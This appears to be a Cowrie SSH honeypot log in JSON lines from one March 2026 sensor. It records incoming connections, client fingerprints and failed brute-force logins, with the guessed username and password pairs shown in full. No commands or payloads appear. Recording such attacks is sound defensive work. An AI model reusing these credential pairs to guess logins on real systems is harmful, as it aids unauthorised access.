{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":57600,"dst_ip":"159.203.135.109","dst_port":22,"session":"b396ff4fcccc","protocol":"ssh","message":"New connection: 172.190.89.127:57600 (159.203.135.109:22) [session: b396ff4fcccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:10.737183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:10.741313Z","src_ip":"172.190.89.127","session":"b396ff4fcccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:10.751103Z","src_ip":"172.190.89.127","session":"b396ff4fcccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tigergraph","password":"Tigergraph123!","message":"login attempt [tigergraph/Tigergraph123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:10.825500Z","src_ip":"172.190.89.127","session":"b396ff4fcccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sakura","password":"1234","message":"login attempt [sakura/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:11.270406Z","src_ip":"182.253.156.173","session":"c9ecb014d278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:11.838102Z","src_ip":"172.190.89.127","session":"b396ff4fcccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:12.529261Z","src_ip":"182.253.156.173","session":"c9ecb014d278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":46428,"dst_ip":"159.203.135.109","dst_port":22,"session":"52128f7109d6","protocol":"ssh","message":"New connection: 95.164.113.63:46428 (159.203.135.109:22) [session: 52128f7109d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:14.749949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:14.754601Z","src_ip":"95.164.113.63","session":"52128f7109d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:14.928009Z","src_ip":"95.164.113.63","session":"52128f7109d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234","message":"login attempt [ubuntu/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:15.650918Z","src_ip":"95.164.113.63","session":"52128f7109d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:16.823123Z","src_ip":"95.164.113.63","session":"52128f7109d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":49497,"dst_ip":"10.17.0.5","dst_port":22,"session":"8904a85d1576","protocol":"ssh","message":"New connection: 154.125.147.88:49497 (10.17.0.5:22) [session: 8904a85d1576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:19.403179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:19.407880Z","src_ip":"154.125.147.88","session":"8904a85d1576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:19.671410Z","src_ip":"154.125.147.88","session":"8904a85d1576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"1234","message":"login attempt [planka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:20.690355Z","src_ip":"154.125.147.88","session":"8904a85d1576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:22.511607Z","src_ip":"154.125.147.88","session":"8904a85d1576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.120.251.149","src_port":60008,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a9b13da8971","protocol":"ssh","message":"New connection: 115.120.251.149:60008 (159.203.135.109:22) [session: 0a9b13da8971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:57.350050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:57.354648Z","src_ip":"115.120.251.149","session":"0a9b13da8971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:57.636501Z","src_ip":"115.120.251.149","session":"0a9b13da8971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuserpass","message":"login attempt [fastuser/fastuserpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:58.793328Z","src_ip":"115.120.251.149","session":"0a9b13da8971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53802,"dst_ip":"159.203.135.109","dst_port":22,"session":"124a4bbfec41","protocol":"ssh","message":"New connection: 2.57.122.210:53802 (159.203.135.109:22) [session: 124a4bbfec41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:03.397539Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:03.500924Z","src_ip":"2.57.122.210","session":"124a4bbfec41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":48254,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e86eb12076","protocol":"ssh","message":"New connection: 45.134.9.27:48254 (159.203.135.109:22) [session: 98e86eb12076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:20.873902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:20.879426Z","src_ip":"45.134.9.27","session":"98e86eb12076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:20.953222Z","src_ip":"45.134.9.27","session":"98e86eb12076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ram","password":"ram1234","message":"login attempt [ram/ram1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:21.265371Z","src_ip":"45.134.9.27","session":"98e86eb12076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:22.345563Z","src_ip":"45.134.9.27","session":"98e86eb12076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":48398,"dst_ip":"159.203.135.109","dst_port":22,"session":"432aa372b083","protocol":"ssh","message":"New connection: 172.211.56.214:48398 (159.203.135.109:22) [session: 432aa372b083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:37.529127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:37.535130Z","src_ip":"172.211.56.214","session":"432aa372b083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:37.628917Z","src_ip":"172.211.56.214","session":"432aa372b083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deamon","password":"Deamon123","message":"login attempt [deamon/Deamon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:38.032895Z","src_ip":"172.211.56.214","session":"432aa372b083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:39.127226Z","src_ip":"172.211.56.214","session":"432aa372b083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":58862,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3daa8fb6714","protocol":"ssh","message":"New connection: 95.164.113.63:58862 (159.203.135.109:22) [session: d3daa8fb6714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:52.274311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:52.278298Z","src_ip":"95.164.113.63","session":"d3daa8fb6714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:52.457010Z","src_ip":"95.164.113.63","session":"d3daa8fb6714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webapps","password":"Webapps123","message":"login attempt [webapps/Webapps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:53.205624Z","src_ip":"95.164.113.63","session":"d3daa8fb6714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:54.386647Z","src_ip":"95.164.113.63","session":"d3daa8fb6714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.13.234","src_port":50778,"dst_ip":"159.203.135.109","dst_port":22,"session":"b75c5bc50c21","protocol":"ssh","message":"New connection: 172.190.13.234:50778 (159.203.135.109:22) [session: b75c5bc50c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:18:58.882935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:03.993430Z","src_ip":"172.190.13.234","session":"b75c5bc50c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":41688,"dst_ip":"159.203.135.109","dst_port":22,"session":"93edb66d93c3","protocol":"ssh","message":"New connection: 172.190.89.127:41688 (159.203.135.109:22) [session: 93edb66d93c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:04.501330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:04.505042Z","src_ip":"172.190.89.127","session":"93edb66d93c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:04.514872Z","src_ip":"172.190.89.127","session":"93edb66d93c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ct","password":"ct1234","message":"login attempt [ct/ct1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:04.588655Z","src_ip":"172.190.89.127","session":"93edb66d93c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":53647,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc6451976be","protocol":"ssh","message":"New connection: 154.125.147.88:53647 (10.17.0.5:22) [session: ebc6451976be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:04.815313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:04.820067Z","src_ip":"154.125.147.88","session":"ebc6451976be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:19:05.616829Z","src_ip":"172.190.89.127","session":"93edb66d93c3","protocol":"ssh"}
